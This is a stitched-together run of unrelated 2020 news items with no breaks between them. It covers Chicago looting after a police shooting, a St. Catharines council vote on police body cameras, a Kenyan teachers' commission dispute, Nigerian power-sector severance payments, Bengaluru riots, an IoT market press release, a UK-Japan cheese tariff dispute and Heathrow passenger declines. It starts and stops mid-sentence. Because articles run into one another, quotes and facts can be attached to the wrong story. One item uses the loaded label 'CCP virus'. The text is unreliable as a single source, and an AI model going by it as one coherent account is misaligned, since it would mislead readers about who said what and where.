that were ransacked had recently opened after Chicago protests of George Floyd's May 25 death in Minneapolis devolved into chaos. "This was straight up, felony criminal conduct," said Chicago Mayor Lori Lightfoot. "This was an assault on our city." Those arrested were expected to face charges including looting, disorderly conduct, battery against police. Lightfoot said that the city has activated a neighborhood protection program that will be in place "for foreseeable days until we know our neighborhoods are safe." Police Superintendent David Brown said it "was not an organized protest" but instead "an incident of pure criminality" that began following the shooting of a person by police the previous day in the city's Englewood neighborhood. At one point early Monday, shots were fired at police and officers returned fire. Brown said a heavy police presence is expected in the downtown area until further notice. More than 100 people were arrested Monday following a night of looting and unrest that left 13 officers injured and caused damage in the city's upscale Magnificent Mile shopping district and other parts of the city, authorities said. The unrest began shortly after midnight and anti-police graffiti was seen in the area of the Magnificent Mile, which is one of Chicago's most-visited tourist attractions. Hours earlier, dozens of people had faced off with police after officers shot and wounded a person Sunday in the Englewood neighborhood, located about 10 miles (16 km) away. Brown said after a crowd dissipated following that shooting "we are monitoring social media and we come across a post of a caravan of cars being prompted to go to our downtown and loot." Along the Magnificent Mile, people were seen going in and out of stores carrying shopping bags full of merchandise as well as at a bank, the Chicago Tribune reported, and as the crowd grew vehicles dropped off more people in the area. On streets throughout the downtown area, empty cash drawers from stores were strewn about and ATMs were ripped open. Stores miles from downtown were also ransacked, with parking lots littered with glass and items from inside the stores. Clothes hangers and boxes that once contained television sets and other electronics were seen -- evidence that thieves had taken racks of clothes and removed them from the hangers. "This was obviously very orchestrated," the Rev. Michael Pfleger, a prominent Roman Catholic priest and activist on the city's South Side, told WBBM-TV as cameras panned the downtown area. One officer was seen slumped against a building, several arrests were made and a rock was thrown at a police vehicle, the newspaper said. Police worked early Monday to disperse the crowds. There was a large police presence Monday morning outside an Apple store located north of Chicago's downtown area. Blocks away, debris was strewn in parking lots in front of a Best Buy and a large liquor store. Train and bus service into downtown was temporarily suspended at the request of public safety officials, the Chicago Transit Authority said on Twitter. Bridges over the Chicago River were lifted, preventing travel to and from the downtown area, and Illinois State Police blocked some expressway ramps into downtown. Access was being restored later Monday morning. Chicago and its suburbs, like many other cities, saw unrest following the death of Floyd. Chicago's central business district and its commercial areas were shut down for several days after violence erupted and stores were damaged in the wake of marches protesting Floyd's death. Floyd, a Black man who was handcuffed, died after a white officer pressed his knee against Floyd's neck for nearly eight minutes as Floyd said he couldn't breathe. In the Sunday shooting in Englewood, police said in a statement that they responded about 2:30 p.m. Sunday to a call about a person with a gun and tried to confront someone matching his description in an alley. He fled from officers on foot and shot at officers, police said. Officers returned fire, wounding him, and a gun was recovered, police said. He was taken to a hospital for treatment and three officers involved also were taken to a hospital for observation, the statement said. More than an hour after the shooting, police and witnesses said a crowd faced off with police after someone reportedly told people that police had shot and wounded a child. That crowd eventually dispersed. St. Catharines city councillors on Monday narrowly voted down a motion calling for all front-line police officers to be outfitted with body cameras, one of several recommendations by the citys anti-racism committee. Councillors agreed to send seven of the committees 10 proposed police reforms to Niagara Region, including a de-funding proposal, but didnt pass the implementation of body cameras, a demilitarization of the police service and a call to end street checks completely after hearing from the police chief. Think of the experiences of people that maybe look differently from you, St. Patricks Coun. Mat Siscoe said in urging his fellow councillors, all of whom are white, to pass the recommendations. Weve heard a lot from people over the last couple of weeks and months and the response has been very overwhelming that there need to be reforms. Siscoe tabled a motion on June 3 requesting that council call on the Region, through the police services board, to immediately begin the process of procuring and outfitting officers with cameras. The motion was referred to the citys anti-racism advisory committee for feedback and a more comprehensive look at the issue. The committee agreed with the body camera implementation and also recommended nine other police reforms after receiving oral and written delegations from residents and having conversations with the NRP and Canadian Mental Health Association. Council held off voting on the recommendations in July until it could have the police chief attend a meeting to answer questions. Committee chair Saleh Waziruddin told council Monday there were no budget implications for the city to send the requests to the Region. This is asking you to add your voice. Thats really all thats being asked here of you when you support these reforms. Delegate Erika Smith, speaking in favour of all the committees recommendations, said having body cameras would not only give a sense of peace to the community, it would also hold officers accountable for doing their jobs properly and upholding the law. She described a recent incident she witnessed in which a Congolese man was being detained on Glenridge and someone started recording the incident on a cellphone and was met with obvious frustration from the officer. Police are frustrated with being filmed by the public, but the public should not have this overwhelming feeling or compulsion that we need to film the police or police the police, she said. However time and time again we see police abusing their powers. Niagara Regional Police Chief Bryan MacCulloch told council the service wont tolerate or permit bias and discrimination, and said the NRP from the senior level down is actively working to ensure a culture of anti-racism within the organization. Theres no denying the presence of systemic racism within the institution of policing, just as there is systemic racism in all social institutions, he said. Ive said that within the NRP service at first glance, were not seeing evidence of systemic racism, but we also know that systemic racism is difficult to identify. Its not always overt and in your face. Its often complex and covert. Thats why were committed to continuing a deeper dive. When it comes to body cameras, MacCulloch said the service is open and willing to have the conversation but believed it should be a provincial discussion so there is a unified approach across Ontario. St. Georges Coun. Kevin Townsend said he was concerned about the cost of implementing body cameras, which council heard could carry a $3 million price tag. It should be something the province should be mandating, its not something the local municipalities should have to pay for out of property taxes. But Merritton Coun. Lori Littleton said council should back all the committees recommendations. When we have a committee, an anti-racist committee that says these are some recommendations to help battle the decades upon decades of systemic racism that we face, we as a council who struck that committee, have the obligation to pass on that correspondence, to back the work of that committee. The body camera motion was lost 7-5. The anti-racism advisory committees recommendation to end street checks due to racial discrimination was lost on a tie 6-6. MacCulloch told council new legislation in 2016 replaced street checks now the collection of identifying information in certain circumstances and it falls under provincial jurisdiction. He said it was used by officers 40 times in 2017, three times in 2018 and wasnt used in 2019. MacCulloch said officers are not given carte blanche to use the legislation on a whim and it must be used under certain circumstances. Also lost on a 6-6 tie was a recommendation for the de-militarization of the NRP. The committee had called on the service to sell its armoured vehicle and ban the use of tear gas, pepper spray or other chemical agents against protesters or at demonstrations. MacCulloch told council that the armoured vehicle is a mobile piece of safety equipment he feels he is obligated to provide to members in high risk situations. He said tear gas hasnt been used against protesters or demonstrators in Niagara that he was aware of and the policy doesnt permit it to be used in those types of scenarios. Councillors did pass a defunding recommendation as part of a block of reforms. The idea is to remove welfare checks, metal health and suicide threat calls from police responsibility and shift the associated budget dollars to a dispatched civilian service, such as EMS. Also being sent to the region is a recommendation to establish a civilian ombudsperson with full access to police records and data, and a request that the NRP publish more online statistics on reported hate crimes and its own use of force by race data. Other recommendations passed involved requiring officers to have a duty to intervene against excessive force or abuse and be prohibited from shooting at moving vehicles. As well, council backed the idea that complaints and concerns against police officers relating to use of force, particularly when the complainant is radicalized, should be reflected and factored into the officers performance review or promotion. They also asked the NRP to increase diversity hiring to at least 15 per cent of the recruiting class and unanimously supported the recommendation to increase crisis intervention training. It included adding cross-cultural mental health training to that crisis intervention training and adding anti-bias and anti-racism training to its refresher training, lead by experts from equity seeking groups. CLOSE VOTES Implement body cameras for all front-line officers: Yes: Littleton, Miller, Porter, Siscoe, Sendzik No: Phillips, Sorrento, Townsend, Williamson, Dodge, Garcia, Kushner End street checks completely Yes: Miller, Littleton, Porter, Siscoe, Williamson, Sendzik No: Townsend, Kushner, Garcia, Phillips, Dodge, Sorrento Demilitarization: Sell armoured vehicle and ban the use of tear gas, pepper spray or other chemical agents against protesters or at demonstrations Yes: Littleton, Miller, Porter, Williamson, Sendzik, Siscoe No: Townsend, Garcia, Phillips, Sorrento, Kushner, Dodge Note: Coun. Matt Harris attended the meeting but declared a conflict on police issues Hong Kong police yesterday arrested billionaire media tycoon Jimmy Lai on national security charges and raided his Apple Daily newspaper headquarters. In this episode, climate and environment editor Nick O'Malley is joined by China correspondent Eyrk Bagshaw to discuss the power of China's new security laws. Our supporters power our newsrooms and are critical for sustainability of news coverage. Becoming a subscriber also gets you exclusive behind-the-scenes content and invitations to special events. Click on the links to subscribe to The Age or The Sydney Morning Herald. NORTH RIDGEVILLE, Ohio -- Even though the senior center in North Ridgeville is still closed -- as many other centers are -- the staff has cooked up some creative fun for seniors to get outside and stay active. Senior Center Director Meredith Bement is leading a walk in the park at 10:30 a.m. Tuesdays and Fridays through Aug. 28. As long as the weather is good, the walk begins in the senior centers parking lot, with the group heading south to the South Central Park trail. Please remember we (will) need to stay 6 feet apart, notes Bement. Next, seniors just need to grab a lawn chair to join in the fun with Lawn Chair Bingo. Of course, as with all other things right now, this is socially distanced Bingo. The program will take place at 10:30 a.m. on three Thursdays: Aug. 13, 20 and 27. Bement said seniors should bring their own chairs; they will be provided with Bingo cards and good luck markers. But this isnt the usual sedentary Bingo. The caller will announce a chair exercise. When completed, the task can be marked off the Bingo card. Bingo participants should meet in the grass along Bainbridge Road near the intersection of Bainbridge Road and Ohio 83. A registration phone call to 440-353-0828 is requested for both the walks in the park and Bingo. Home repair grants available The City of North Ridgeville will be partnering with the Lorain County commissioners to apply for grant funding for the Community Housing Impact and Preservation Program (CHIP). The grant program provides funds for home repair and rehabilitation projects for homeowners who meet income and eligibility requirements. If the grant is approved for North Ridgeville, the city would be eligible for a maximum of $350,000, which it would then disburse to residents. The details for homeowners to apply for the funding will be released later if the city receives the grant. Read more from the Sun Sentinel. - TSC boss Nancy Macharia and teachers' union officials held a meeting with the Parliamentary education committee - The meeting was aimed at ironing issues between the TSC and the teachers, key among them being skewed promotions - After the adjournment, Macharia rushed out of the chamber leaving MPs and union officials begging for a group photo The Teachers Service Commission (TSC) boss Nancy Macharia has raised eyebrows after she walked out of a photo session with the Kenya National Teachers Union (KNUT) officials. The bizarre happening was witnessed after she appeared before the National Assembly Committee on Education that also brought together teachers' union officials on Tuesday, August 11. READ ALSO: Boda boda rider sentenced to 3 months in jail for claiming police stole his pizza KNUT officials and other committee members waiting for Nancy Machria for a photo session. Photo: Aaron Ndonyi/TUKO.co.ke. Source: Original READ ALSO: Photos of triplets sisters marrying triplet brothers break the internet Contentious issues The meeting had been convened to iron out contentious issues pitting teachers against their employer. Macharia was apparently angered by the committee chairperson Florence Mutua's comment demanding both parties withdraw all court cases against each other. "Nancy, we as members we don't want these differences to affect our education sector going forward, we are in (the) spirit of handshake and the president would always be happy if both parties stop this legal battles and come to the negotiations table for amicable solutions (sic)," Mutua said. READ ALSO: COVID-19: 15 more patients die from disease as 497 others test positive TSC boss Nancy Macharia walking out of the chambers. Photo: Aaron Ndonyi/TUKO.co.ke. Source: Original READ ALSO: Gov't puts on notice hospitals, patients hiding COVID-19 test results: "It's not negotiable" Adjournment After Mutua had adjourned the session, Macharia quickly dashed away, leaving MPs and KNUT officials pleading with her for a photo session that she appeared unwilling to be part of. "Please come we take a photo session, don't go away, we need to have memories on this," Mutua continued pleading. It took the interventions of TSC officials and the legal team to convince her to come back at the chambers for the group photo. Previously, Mutua had asked Macharia to appear before the committee but she insisted she was only available via video link. Committee members Amboko Milemba (Emuhaya), Thaddeus Nzambia (Kilome) and Zadock Ogutu (Bomachoge) had expressed discontentment on how the TSC boss was answering questions. This prompted the committee chairperson and the unionists to demand Macharia attends the meeting physically. 'Kindly, Nancy, Speaker of the National Assembly Justin Muturi had given us this day to use the chambers because the matters are very weighty on skewed promotions and implementation of CBA on career progressive guidelines. Now that we are not hearing you well, just drive with your legal team by ten minutes you come here because members have expressed that they are not at all contented with you responding virtually while you are in office,'' Mutua pleaded. Skipping photo session Shortly after appearing before the committee, KNUT treasurer John Matiang'i read their long grievances requesting the TSC boss to stop intimidating them. "It is worthy to note, that our SG Wilson Sossion can leave the union but it's good for TSC to engage us in harmonious way and respect our collective bargaining agreements," Matiang'i said. Nzambia had sought to know from Macharia why teachers had to withdraw their membership from KNUT for them to get appraisals from the commission. She distanced herself from the allegations citing due diligence against the level of education in awarding of teachers across the country. Story by Aron Ndonyi, TUKO.co.ke correspondent in Nairobi. Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news. My husband's family took everything from me after he died and called my children garbage | Tuko TV. Source: TUKO.co.ke Former workers of the defunct Power Holding Company of Nigeria (PHCN) are to be allotted four per cent of the federal government equity holding in the successor power companies, the Bureau of Public Enterprises (BPE) disclosed on Monday. The privatisation agency made this known in a statement in Abuja to announce the payment of about N409.92 billion as severance and death benefits to the affected ex-workers. The BPE spokesperson, Amina Tukur, who gave the confirmation of the payment in a statement, said the allotment of the shares to the defunct PHCN ex-workers was in accordance with the privatisation policy of the federal government. The privatisation policy directs the bureau to allow 10 per cent of the outstanding shares of the company or enterprises slated for privatisation to staff of the defunct company. Consequently, Mrs Tukur said the former workers of the defunct utility company were entitled to be allotted 10 per cent of the balance of 40 per cent (4 per cent) of the successor companies reserved for them by the BPE after the privatization exercise. The BPE said the 10 per cent shares due to workers of the Power Companies would be allotted to them after the Nigerian Electricity Regulatory Commission (NERC), the regulatory authority in the Nigerian power industry, has completed the valuation of the investments in the states by the distribution companies. The valuation, the BPE said, would form the basis on which the shares would be allotted to each state government. Payment of severance, death benefits Details of the payments to the ex-workers showed that so far about N409.92 billion was spent on the payment of severance and death benefits. Mrs Tukur explained that the payment to the affected ex-workers came in two streams categorized into Severance payments and PHCN retirees/death benefits which the defunct power holding company could not pay before it handed over to the successor companies. Out of the total 47,913 claims submitted to the BPE by PHCN, Mrs Tukur said about 47,275, representing 99 per cent, have been fully paid. She said the claims were forwarded to the Office of the Accountant General of the Federation (OAGF) for payment in 36 separate batches. Further details of the payment showed that out of 638 outstanding active staff, there were 167 duplicated and blank spaces on the list, while 414 people never turned up for verification and 25 have already been audited and awaiting cash-backing. Also, nine others with initial documentation problems would soon be audited, while 23 claims have documentation problems. The BPE noted that in the course of the verification, 81 cases found to involve short-payment have since been corrected and cash-backed, with 180 cases recently treated and recomputed for shortpayment are awaiting cash-backing. Further details by the BPE showed that about 4,438 PHCN retirees have been submitted to BPE in eight batches, out of which about 3,131, representing, 71 per cent of the beneficiaries have been fully paid their entitlements to date, leaving about 1,307 yet to be paid. The BPE attributed the delay in the payment of 15 of the affected former workers to errors in serial numbering, with 66 possible duplications in submissions, out of which 14 have recently been audited. In addition, about 196 have been cleared and awaiting cash-backing, 392 cleared and sent to the Pension Transitional Arrangement Directorate (PTAD) for pension related benefits, and 694 to the Presidential Initiative for Continuous Auditing (PICA) for Gratuities and Deceased Benefits. On the two per cent Union deductions, the Bureau said a total of N7.49 billion has already been paid to the defunct PHCN Unions account from batches 1-36, while the Bureau has already written to the Office Accountant General of the Federation (OAGF) to credit the Unions Account for the remaining deductions. Non-computation of other entitlements On the non-computation of 16 months entitlements of staff of the defunct PHCN, the Bureau said during one of the engagements with the unions on January 13, 2014 at the Federal Ministry of Power, it was agreed that 7.5 percent employer pension contribution of July, 2012 to October 31, 2013 will be paid by the Federal Government (Market Operator). Mrs Tukur said although the decision was communicated to the Market Operator, the Unions suggested that BPE should escalate the matter to the Vice President, Yemi Osinbajo, who is the Chairman of the National Council on Privatisation (NCP), for consideration and resolution. The BPE said papers to the NCP on the matter are being completed. Advertisements On the post retirement training of the former PHCN staff, BPE said there was a decision to conduct a post-retirement training for them, but that the lack of cohesion among the agencies responsible for organizing the training has stifled the exercise of funding. BPE said some of the ex-workers and pensioners were having difficulties to access their entitlements since 2013 when their payments were cash-backed due to invalid account details as a result of non- provision of the Nigeria Uniform Bank Account Number (NUBAN) account numbers; wrong account names/numbers and wrong Bank names. For the pensioners/NOKs, the problem involved invalid retirement savings account (RSA) details such as wrong RSA Account names, wrong RSA personal identification numbers (PINs), wrong account RSA, and multiple RSA accounts. Other problems include failed payments attempted once by officials of the various paying banks; and bank Account Detail Dormancy. The Bureau assured that it was working with the National Pension Commission (PENCOM) to resolve the problems. Tension remained high on Tuesday between Greece and Turkey, both of which have warships in the eastern Mediterranean after Turkey sent a research vessel to carry out seismic research for energy resources in an area Greece says is on its continental shelf. Turkish Foreign Minister Mevlut Cavusoglu said his country was determined to press ahead with its efforts to search for resources in the eastern Mediterranean. He added that Turkey had agreed to halt its efforts in the region as a gesture following intervention by the European Union and Germany but that Greece did not respond positively. Greece will be requesting an emergency meeting of the European Union's Foreign Affairs Council, the prime minister's office announced following a meeting between Prime Minister Kyriakos Mitsotakis and Foreign Minister Nikos Dendias. Pakistan's top generals on Tuesday discussed the security situation at the and the Afghan border, the army said. Army chief General Qamar Javed Bajwa chaired a meeting of the Corps Commanders' in Rawalpindi, wherein the generals were briefed on national and regional security situations, it said in a statement. The army said that the geo-strategic and national security issues discussed during the meeting. The forum reviewed the situation at LoC, the Pak-Afghan border and internal security environment, it said. The military leadership also appreciated the progress of Afghan reconciliation process and hoped for early commencement of intra-Afghan dialogue, it said. Gen Bajwa expressed satisfaction on operational preparedness of formations and appreciated efforts in aid of civil administration to contain COVID-19 pandemic and Locust threat. He directed commanders to ensure necessary measures for public safety and security during the upcoming month of Muharram. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Karen: Positive things and how to deal with (the insult) A lot of women have come to think they have to have someone not named Karen speak up for them now. People get afraid to just say their food is bad because they dont want to be called a Karen. There are Karens out there who are caring and thoughtful but they feel like this is silencing them. A friend told me to ignore it, that it would all go away. But it doesnt seem to be, and maybe this is an opportunity for people to consider the language they use. I mean, people dont even seem to care that there is a Burmese group also called the Karen (many of whom fled Myanmar) and about 200,000 of them now live in the United States. U.S. Secretary of State Mike Pompeo speaks during a joint press conference with Britain's Foreign Secretary Dominic Raab at Lancaster House in London, England, on July 21, 2020. (Hannah McKay-WPA Pool/Getty Images) State Department Watchdog Defends Pompeo on Saudi Arms Sales The State Department watchdog said in a new report that Secretary of State Mike Pompeos circumvention of Congress by way of an emergency declaration in order to sell $8.1 billion worth of arms to Saudi Arabia and the United Arab Emirates broke no laws. Diana Shaw, who serves as the agencys acting inspector general, said in an Aug. 10 report (pdf) capping a review of the State Departments role in arms transfers to Saudi Arabia that Pompeos decision to fast-track weapons sales complied with federal law. The Office of the Inspector General did find, however, that the State Department did not do enough to prevent the weapons from being used by the Gulf nations to inflict mass deaths in Yemen. A State Department official who held a telephone briefing with reporters on Monday to provide context for the report said that the government had sought to make greater efforts to enhance its risk-assessment processes and bolster mitigation measures to minimize civilian casualties. The sale of arms to Saudi Arabia and the UAE was made possible by Pompeos invoking, in May 2019, of a rarely used provision in federal law to bypass a congressional review. A number of congressional Democrats objected when Pompeo notified Congress of the decision to use an emergency loophole in the Arms Export Control Act to proceed with the arms sales, which included precision-guided munitions, along with other bombs and ammunition. Congress had put a freeze on the arms transfers, citing concerns about civilian casualties in Yemen, but Pompeos emergency declaration circumvented the block, citing Iranian malign activity that threatened regional stability and U.S. national security. In Tuesdays report, the State Department watchdog concluded that the secretarys emergency certification was executed in accordance with the Arms Export Control Act. At the time, some 26 members of Congress wrote a letter to former inspector general Steve Linick, urging him to review the matter, saying there were dubious grounds for invoking the emergency. Linick was fired while his office was probing the legality of the arms sales, and while President Donald Trump said he dismissed the watchdog because he lost confidence in him and Pompeo accused the inspector general of undermining the work of the State Department, his dismissal sparked an outcry, chiefly among Democrat lawmakers. Rep. Eliot Engel (D-N.Y.), chairman of the House Foreign Affairs Committee, said in a statement at the time: We unalterably oppose the politically-motivated firing of inspectors general and the presidents gutting of these critical positions, adding that Linicks firing amid such a probe strongly suggests that this is an unlawful act of retaliation. In Capitol Hill testimony in early June (pdf), Linick refuted justifications for his firing but would not speculate on why he was fired, saying, I can tell you that I dont believe theres any valid reason that would justify my removal. Bengaluru, Aug 12 : Violent protests broke out in eastern Bengaluru late on Tuesday night over a "derogatory message' posted by a politician's relative on social media. A mob gathered outside Congress legislator Akanda Srinivas Murthy's house where they shouted slogans against the post and also resorted to arson. The mob was demanding the arrest of Naveen, who is related to Murthy and rioted in DJ Halli, KG Halli and Pulakeshi Nagar. Murthy, the legislator from Pulikeshi Nagar, posted a video on social media asking the mob to stop the agitation. "Please don't resort to violence over the mischievous work of some miscreants," appealed Murthy. A large mob was also seen opposite KG Halli police station in the city. Another mob barged into the DJ Halli police station and torched some vehicles and vandalised furniture, proceeding to attack a few policemen. Hundreds of rioters raised slogans at the top of their voice and continuously banged the gate of DJ Halli police station. Photographs showing the vandalism outside the DJ Halli police station went viral. The mob chanted religious slogans even as some members from the same community tried to calm down the mob. 'Mat karo', said one of the persons who tried to calm down the mob as many mask-wearing protesters came out into the streets. Meanwhile, to control and disperse the mob, policemen in riot gear were deployed and baton-charged protesters who resorted to arson and also overturned the police vehicle. Chamarajpet MLA B. Z. Zameer Ahmed Khan also requested the rioters to stay calm and maintain peace in the area. "The incident that is happening in Kaval Bysandra is unfortunate. I am hopeful that police will take action against all those who are responsible for this," said Khan. City Police Commissioner Kamal Pant visited the riot-hit areas where a heavy police presence has been deployed, an official said on Wednesday. "Unfortunate incidents have occurred in localities like DJ Halli and KG Halli. Police carried out a baton charge to bring the situation under control," said a police official adding strict action will be taken against guilty. State home minister Basavaraj Bommai has also warned of strict action against those who take law into their hands. More than an hour ago, Jamiat Ulama-I-Hind leader Mufti PM Muzzamil also sent out a video message from outside the DJ Halli police station, flashing a paper in his hand. He said an FIR was lodged against the person who made the derogatory post and assured the protesters that he will be arrested. Muzzamil appealed the rioters to keep their emotions in control. Meanwhile, police mistook a couple of journalists as rioters and hit them with a pole. "Your police hit my head with a pole even though we kept yelling we are reporters," complained a television journalist to the police commissioner. Another journalist who went to cover the riot was hit in the back. "We had to run from your police to save ourselves when there was a no mob present," said the injured journalist whose head was seen bleeding. The journalist said that he and others came to see what is actually happening at the ground zero but were attacked by the police without any provocation even though there was no mob around. Technavio has been monitoring the IoT platform market and it is poised to grow by USD 1.70 billion during 2020-2024. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200810005468/en/ Technavio has announced its latest market research report titled Global IoT Platform Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will decelerate during the forecast period. Alphabet Inc., Amazon.com Inc., AT&T Inc., Cisco Systems Inc., Huawei Investment Holding Co. Ltd., International Business Machines Corp., Intel Corp., Microsoft Corp., Nokia Corp., Samsung Electronics Co. Ltd., and Siemens AG are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Large-scale benefits of using IoT devices have been instrumental in driving the growth of the market. However, the rise in privacy and security issues might hamper the market growth. IoT Platform Market 2020-2024: Segmentation IoT Platform Market is segmented as below: End-user Manufacturing Retail Healthcare ICT Others Geography North America Europe APAC MEA South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR44432 IoT Platform Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our IoT platform market report covers the following areas: IoT Platform Market size IoT Platform Market trends IoT Platform Market industry analysis This study identifies the investments in IoT startups as one of the prime reasons driving the IoT platform market growth during the next few years. IoT Platform Market 2020-2024: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the IoT platform market, including some of the vendors such as Alphabet Inc., Amazon.com Inc., AT&T Inc., Cisco Systems Inc., Huawei Investment Holding Co. Ltd., International Business Machines Corp., Intel Corp., Microsoft Corp., Nokia Corp., Samsung Electronics Co. Ltd., and Siemens AG. Backed with competitive intelligence and benchmarking, our research reports on the IoT Platform Market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform IoT Platform Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024 Detailed information on factors that will assist IoT platform market growth during the next five years Estimation of the IoT platform market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the IoT platform market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of IoT platform market vendors Table Of Contents: Executive Summary Market Landscape Market ecosystem Value chain analysis Market Sizing Market definition Market segment analysis Market size 2019 Market outlook: Forecast for 2019 2024 Five Forces Analysis Five forces summary Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition Market Segmentation by End-user Market segments Comparison by End-user Manufacturing Market size and forecast 2019-2024 Retail Market size and forecast 2019-2024 Healthcare Market size and forecast 2019-2024 ICT Market size and forecast 2019-2024 Others Market size and forecast 2019-2024 Market opportunity by End-user Customer Landscape Geographic Landscape Geographic segmentation Geographic comparison North America Market size and forecast 2019-2024 Europe Market size and forecast 2019-2024 APAC Market size and forecast 2019-2024 MEA Market size and forecast 2019-2024 South America Market size and forecast 2019-2024 Key leading countries Market opportunity by geography Market Drivers Demand led growth Market Challenges Market Trends Vendor Landscape Vendor landscape Landscape disruption Vendor Analysis Vendors covered Market positioning of vendors Alphabet Inc. Amazon.com Inc. AT&T Inc. Cisco Systems Inc. Huawei Investment Holding Co. Ltd. International Business Machines Corp. Intel Corp. Microsoft Corp. Nokia Corp. Siemens AG Appendix Scope of the report Currency conversion rates for US$ Research methodology List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200810005468/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ MEDINA, Ohio -- As people increasingly venture from their homes to shop, visit restaurants and otherwise enjoy what remains of summer recreation this year, they do so in the midst of continued concerns about the spread of the COVID-19 virus. And given the course of human history over the past five months, the sight of video game legends Mario and Luigi trotting through the city of Medina on Saturday (Aug. 8), holding a sign that read Cancer Sucks, is probably not even the strangest thing some people have seen this year. Something like this gives you the opportunity to impact the community outside a specific event, said Chuck Werner, a Brunswick resident and member of Medina County Relay For Life team Melissas Sunshine Warriors, which was formed in honor of Melissa Linville, who lost her battle with cancer in 2018. Werner is Linvilles brother-in-law. There had to be at least dozens of people who saw these two guys running down Pearl Road, dressed as Mario and Luigi, today, he laughed. The impromptu two-man 5K by Werner -- as Mario -- and fellow Melissas Sunshine Warriors member Jim Plikerd -- as Luigi -- was run in support of Collin Cares Cure Cancer, an organization formed in 2015 by Collin Kiousis after he was diagnosed with a rare form of cancer during his senior year at Medina High School. Collin Cares raises money to help those diagnosed with cancer partake in special events and trips to help take their mind off their diagnosis. Plikerd, of Medina, explained that the Collin Cares run was an outgrowth of Melissas Sunshine Warriors participation in this years virtual Medina County Relay for Life. This years event included fundraising spotlights -- teams used the time to do things like crack an egg over someones head for every $20 donation, he said. We used our spotlight to pledge that we would run a 5K to support the cause for every $500 donated. The effort generated $1,000 of the total $2,900 the team raised, and a promise of two 5K runs from Mario and Luigi. New normal Relay The Medina County Relay For Life June 14-15 was certainly one for the record books -- and not in the traditional sense. Like many relays across the country, the Medina event was held virtually, due to concerns about the spread of COVID-19. As one of the primary annual fundraisers for the American Cancer Society, this Relay change of venue led to some interesting results, according to Plikerd. A key part of Relay, he said, is the support, camaraderie, getting together to tell stories and give hugs aspect. This was compromised somewhat by the virtual approach, Plikerd said, but there were some positives to take from this years event as well. For instance, the Medina Relay experienced a spike in donations on the days of the event in spite of a drop in donations overall. We ultimately have no ill feelings and are certainly grateful, Plikerd said. Cancer knows no season Medina Relay for Life 2021 has already been scheduled for June 12, 2021, and is currently planned to be held live at the Medina County Fairgrounds. Meanwhile, Mario and Luigi have one more 5K to complete for a yet-to-be-announced benefactor. Plikerds wife and Linvilles cousin, Michelle Plikerd, said that in addition to keeping awareness of a disease that knows no season in the forefront year-round, such efforts as the Mario and Luigi runs can also kind of lighten a frightening subject like cancer. And it keeps Melissas memory alive, she said. Read more news from the Medina Sun. S ecuring trade deals was never going to be easy and current talks taking place between Tokyo and London show just how difficult the process can be. It is understood both sides are close to putting pen to paper but issues over Stilton cheese have put a spanner in the works. According to reports in Japan, the UK trade secretary Liz Truss is under pressure from farmers who want more preferential trade terms for its blue cheeses. A deal may be an easy win for Japan as the UK only sold 18 million of blue cheese last year around the globe and 102,000 to the Japanese. Japan is prepared to phase out tariffs on hard cheeses such as cheddar by 2033, but is refusing to go soft on fresh and blue-veined varieties, which would have duty-free access on an agreed quota by the same date, the Financial Times reported. Truss holds Stilton close to her heart and it has appeared in many of her most prominent public speeches in the past. The UK has been keen to sign a quick new deal with Japan and advance the UK's accession to the Comprehensive and Progressive Trans-Pacific Partnership, a move which would improve market access for UK businesses across the Asia-Pacific region. The talks involve around 100 negotiators from the UK side taking part in negotiations by holding video conferences with their Japanese counterparts every day. UK trade with Japan was worth more than 30 billion last year, with 9,500 companies exporting goods to the Asian country, according to Government figures. Government analysis suggests a free trade agreement between the UK and Japan would bring greatest benefits to Scotland, London and the East Midlands. Passenger Numbers Down 88 Percent at London Heathrow Airport Britains Heathrow Airport has reported an almost 90 percent plunge in passenger numbers, as the CCP virus pandemic continues to paralyze global air travel. Over 860,000 passengers travelled through Heathrow in July, down 88 percent on the previous year, though it reflects a slight uplift in traffic since the start of this crisis, Heathrow said in a statement. Some 60 percent of Heathrows route network remains grounded, the company said, as passengers arriving from countries not on the UK governments safe travel list are required to self-quarantine for 14 days. A British Airways 747 aircraft flies over roof tops as it comes into land at Heathrow Airport in west London on Feb. 18, 2015. (Justin Tallis/AFP via Getty Images) The CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus, has hit the global airline industry hard. British Airways (BA) is prepared to cut more than a quarter of its jobsaffecting over 12,000 employees, and retire its entire Boeing 747 fleet. Germanys largest airline Lufthansa, which flew just 4 percent of prior-year passengers between April and June, plans to cut 22,000 full-time jobs. A general view of aircraft at Heathrow Airport in London, England, on Oct. 11, 2016. (Jack Taylor/Getty 